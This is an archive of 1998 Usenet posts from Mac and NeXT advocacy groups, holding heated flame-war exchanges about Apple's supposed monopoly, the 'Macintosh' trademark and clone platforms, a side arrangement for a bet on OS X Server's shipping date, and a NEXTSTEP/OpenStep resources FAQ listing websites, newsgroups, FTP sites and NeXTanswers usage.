>> So, without the Mac, you can chose between CLIs, an OS with less mindshare
>> than the Mac, and Microsoft.
>
>I'd send you a screenshot of my Linux and Solaris GUIs, but then you'd
>spot my evil xterms and the point would be lost on you...
>
>MJP
If you use a linux box why did you post this with Win95? Isn't that
sort of like self flagellation?
--
vapor
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 21:43:42 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909982143420001@166-93-57-197.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net> <Josh.McKee-1909981217550001@166-93-57-192.rmi.net> <6u12j0$3jf$1@ash.prod.itd.earthlink.net>
NNTP-Posting-Date: 20 Sep 1998 03:41:10 GMT
In article <6u12j0$3jf$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >In article <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>,
> >macghod@concentric.net (Steve Sullivan) wrote:
> >
> >> In article <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>,
> >> don.brown@cesoft.com (Donald Brown) wrote:
> >>
> >> > >>In fact, just Microsoft should be illegal.
> >> > >
> >> > >My my my, you are a macsheep! Baaaa.... take away microsoft's
> >constitutional
> >> > >rights.... Baaaaaaaaaaaa.....
> >> > >
> >> > >You should read the constitution someday.
> >> > >
> >> > And you should read the anti-trust laws.
> >>
> >> Really?
> >> I didnt realize their was anything in the constitution making microsoft
> >illegal
> >
> >
> >Where did he say anything about the constitution? He specifically stated
> >"anti-trust" laws.
>
>
> Josh: Baaaaa.... Baaaaa... I caaaaaaant reeeeeead... Baaaaaa baaaaaaaa.
Of course you can't read...if you could, you obviousl would have seen that
he said "anti-trust" law and not consitution.
Of course, instead of addressing the issue, you'd rather call names.
Typical of idiots who cannot form a real arguement.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 21:45:53 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909982145540001@166-93-57-197.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net> <6u12ns$3qh$1@ash.prod.itd.earthlink.net>
NNTP-Posting-Date: 20 Sep 1998 03:43:21 GMT
In article <6u12ns$3qh$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >In article <6tupg9$6fb$1@plo.sierra.com>, "Earl Malmrose"
> ><earl.malmrose@nospam.sierra.com> wrote:
> Apple has a monopoly on the Apple market, I.E: Computers running MacOS. They
> do NOT have a monopoly on the entire computer market.
Of course they do...and Sun has a monopoly on Sun computers. And SGI has
a monopoly on SGI computers. I would even say that Microsoft has a
monopoly on Microsoft software And you have a monopoly of your own
identity. So what is your point?
You are a moron if you think that Apple has the same kind of monopoly as
Microsoft.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 21:57:12 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909982157120001@166-93-57-197.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net>
NNTP-Posting-Date: 20 Sep 1998 03:54:40 GMT
In article <6u0jgo$esu$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joe Ragosta wrote in message ...
> >In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
> ><dan@knowspaam.com> wrote:
> >How many times does this need to be explained to you?
> >
> >Go to the U.S. Trademark office and look up "Macintosh". It's the name of
> >a specific line of computers manufactured by Apple computer.
>
>
> You sure are stupid! Macintosh means the Macintosh Platform, Apple, UMAX,
> and Motorola to name a few, running Apple MacOS or equivalent.
The only idiot is yourself. The Macintosh is a trademark. If you don't
believe me, then check for yourself. Of course, being as dumb as you are,
you won't.
Josh
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981818460001@elk70.dol.net>
Subject: Re: What we need from Mac OSuX
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Message-ID: <wi5N1.356$sB1.341400@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 01:55:54 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 06:03:56 CDT
Organization: Slurp News Feeds
Joe Ragosta wrote in message ...
>_I_ am stupid?
:-)
>Then you should have no problem finding a Umax or
>PowerComputing ad calling their computers "Macintosh" computers.
They are known as "Macintosh Clones"... just as PC's are known as "IBM
Clones."
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
Subject: Re: What we need from Mac OSuX
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Message-ID: <Ii5N1.367$sB1.341400@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 03:01:43 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 06:04:08 CDT
Organization: Slurp News Feeds
Joshua T. McKee wrote in message ...
>God you people are stupid!
>
>Are you saying that Sun has a monopoly? What about SGI? What about HP?
>All these companies make their own computers without allowing clones (Sun
>at one time did but I believe has stopped that practice). Are you going
>to tell me, with a straight face, that all these companies have a monopoly
>because they are the only producers of their respective computers? That
>should be good for a laugh.
The computers you mentioned about are a part of the "Unix Platform"
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net>
Subject: Re: What we need from Mac OSuX
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Message-ID: <xi5N1.357$sB1.341400@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 01:58:36 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 06:03:57 CDT
Organization: Slurp News Feeds
Joshua T. McKee wrote in message ...
>The only idiot is yourself. The Macintosh is a trademark. If you don't
>believe me, then check for yourself. Of course, being as dumb as you are,
>you won't.
Jeez..... Joe brings up the word "trademark" and you guys go with it...
What does a trademark have to do with a platform?
Apple has over 90% of the macintosh market. i.e., macintosh compatibles.
...NOT, Apple has over 90% of the Apple market.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <Josh.McKee-1909981059520001@166-93-69-218.rmi.net> <joe.ragosta-1909981829490001@elk70.dol.net> <MPG.106deffd8a6d042a989710@news.ont.com> <joe.ragosta-1909981911020001@elk53.dol.net>
Subject: Re: What we need from Mac OSuX
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Message-ID: <yi5N1.358$sB1.341400@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 02:00:54 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 06:03:58 CDT
Organization: Slurp News Feeds
Joe Ragosta wrote in message ...
>I've never ridiculed someone merely for their choice of computer
>platforms. That's something that's much more common in the Wintel crowd.
Please....
Tell allmost any Mac user that you have a PC, and they will roll their eyes.
Tell allmost any PC user that you own a Mac, and they wont think twice.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <joe.ragosta-1809981956310001@elk38.dol.net> <EvGM1.188$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980715350001@elk86.dol.net> <6u0jij$f03$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981817470001@elk70.dol.net>
Subject: Re: What we need from Mac OSuX
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Message-ID: <Ai5N1.360$sB1.341400@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 02:09:14 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 06:04:00 CDT
Organization: Slurp News Feeds
Joe Ragosta wrote in message ...
>Then why didn't Power Computing or Umax or MacTell call their computer
>"Macintosh" computers? Because it would have been a trademark violation.
That's correct.
But again... this has "nothing" to do with their Platform.
If a MacTell is not of the Macintosh Platform. Then what "PLATFORM" is it???
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <joe.ragosta-1809981956310001@elk38.dol.net> <EvGM1.188$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980715350001@elk86.dol.net>
Subject: Re: What we need from Mac OSuX
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
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Message-ID: <zi5N1.359$sB1.341400@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 02:06:01 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 06:03:59 CDT
Organization: Slurp News Feeds
Joe Ragosta wrote in message ...
>> The Macintosh is a platform, is it not? The PC is a platform, is it not?
>
>No. The Macintosh is a trade mark for specific computers made by Apple.
>It's normally printed as "Macintosh(tm)".
>
>If you want to talk about the platform, you need to talk about "computers
>that run Mac OS" or "Mac OS compatibles" or even "Macintosh(tm)
>compatibles".
Are you kidding me?
Macintosh Compatibles are of what platform Joe? That's right... the
Macintosh Platform.
>> One signifigant difference is that the Presario and ThinkPad are of one
open
>> platform... they are not proprietary... i.e., their general design can be
>> copied, etc. They are of one platform.
>
>Which has nothing to do with the argument.
It doesn't? ...It's a clear example of how the Presario and ThnkPad models
are a part of a "platform" known as the PC, or IBM Compatible... originally
known as the "IBM Platform."
>> Is it? Again... the Macintosh is a platform... The Presario is a "model"
>
>WRONG, WRONG, WRONG.
>
>"Macintosh" is a model.
Nope. The Macintosh is a computer... and the Macintosh is a Platform.
The iMac is a model.
Dan
Message-ID: <36047E49.21415507@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6tqmr6$4n4$4@ironhorse.plsys.co.uk> <36011AEE.592D3F05@nstar.net> <6tt8th$4n4$5@ironhorse.plsys.co.uk> <36026D3B.7E36A98F@nstar.net> <6u0v7o$27e$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Sun, 20 Sep 1998 00:03:45 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 19 Sep 1998 23:02:17 -0500
malcolm@plsys.co.uk wrote:
> Do we need any further clarification of the meaning of "ship", or are you
> happy with the definition I've given (i.e. publicly available for sale --
> whether direct from Apple or from resellers -- as a non-beta version)?
[sigh] No need to be that way. I thought this was all about "put up or
shut up", i.e. putting something besides rhetoric on the line. I'm not
the betting sort, and I didn't enter the bet in the hopes of winning
money. Your terms are acceptable, as I already indicated by the word
"fine". Don't belabor the point.
> OK, so how do we sort out logistics?
>
> I'm happy for Greg to act as broker, however I'd understand if you weren't.
> If you're not, is there any other mutually-acceptable third party?
I have no objection to whomever you might choose as the broker. I'll let
you and Greg sort out the details. Let me know how to make out my check
or money order or whatever.
[cut]
MJP
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <25036905659241@digifix.com>
Date: 20 Sep 1998 03:47:47 GMT
Organization: Digital Fix Development
Message-ID: <24796906264032@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 23:19:01 -0600
Organization: Prairie Group
Message-ID: <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net>
In article <6u1lfo$snd$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
>vapor wrote in message <36074e77.39113826@news.alt.net>...
>>"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>>
>>>I installed DR-DOS on my old 386 and I can go online with it!!! It's
>great.
>>>( http://www.caldera.com )
>>
>>It's great for people who don't have a lot of money. You can pick up
>>old 386s and 486s for next to nothing, then all you have to do is buy
>>a decent modem and you're set. Caldera also makes a nice distro of
>>linux you can D/L for free. Just because people can't afford a $1000
>>dollar computer doesn't mean they can get online.
>
>
>I'll tell you something too, I'd rather have a 286 running DR-DOS than a
>PowerPC G3 233MHz running MacOS.
No accounting for taste, I guess. Of course, my PowerPC G3 233MHz is
going to run rings around your 286, but if your hatred is so irrational
and overpowering, well, isn't it good that there's a choice?
Donald
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Sun, 20 Sep 1998 11:49:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u2q4n$r9n$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6tqmr6$4n4$4@ironhorse.plsys.co.uk> <36011AEE.592D3F05@nstar.net> <6tt8th$4n4$5@ironhorse.plsys.co.uk> <36026D3B.7E36A98F@nstar.net> <6u0v7o$27e$1@nnrp1.dejanews.com> <36047E49.21415507@nstar.net>
To: greg@afs.com, Michael Peck <mjpeck@nstar.net>
In article <36047E49.21415507@nstar.net>,
Michael Peck <mjpeck@nstar.net> wrote:
> malcolm@plsys.co.uk wrote:
>
> > Do we need any further clarification of the meaning of "ship", or are
> > you happy with the definition I've given (i.e. publicly available for
> > sale -- whether direct from Apple or from resellers -- as a non-beta
> > version)?
>
> [sigh] No need to be that way. I thought this was all about "put up or
> shut up", i.e. putting something besides rhetoric on the line. I'm not
> the betting sort, and I didn't enter the bet in the hopes of winning
> money. Your terms are acceptable, as I already indicated by the word
> "fine". Don't belabor the point.
>
Fine. I'm glad you think that way now (no sarcasm implied); the point is
given that you introduced a new condition last time I just wanted to make
sure we knew where we stood. No "labouring" involved, just sensible
definition of groundrules. (Last time I offered the bet the Other Side tried
to claim he'd automatically won because we were discussing "Rhapsody" and, he
said, the OS wouldn't ship with the name "Rhapsody"...)
> > OK, so how do we sort out logistics?
> > I'm happy for Greg to act as broker, however I'd understand if you
> > weren't. If you're not, is there any other mutually-acceptable third
> > party?
>
> I have no objection to whomever you might choose as the broker. I'll let
> you and Greg sort out the details. Let me know how to make out my check
> or money order or whatever.
>
OK, Greg, is that OK by you? Shall we take this offline?
mmalc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: stmb@yourmammashouse.com (Spam this Monkey Boy)
